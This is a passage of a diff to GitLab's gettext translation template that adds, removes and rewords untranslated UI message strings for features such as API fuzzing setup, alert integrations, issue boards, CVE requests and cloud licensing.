+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
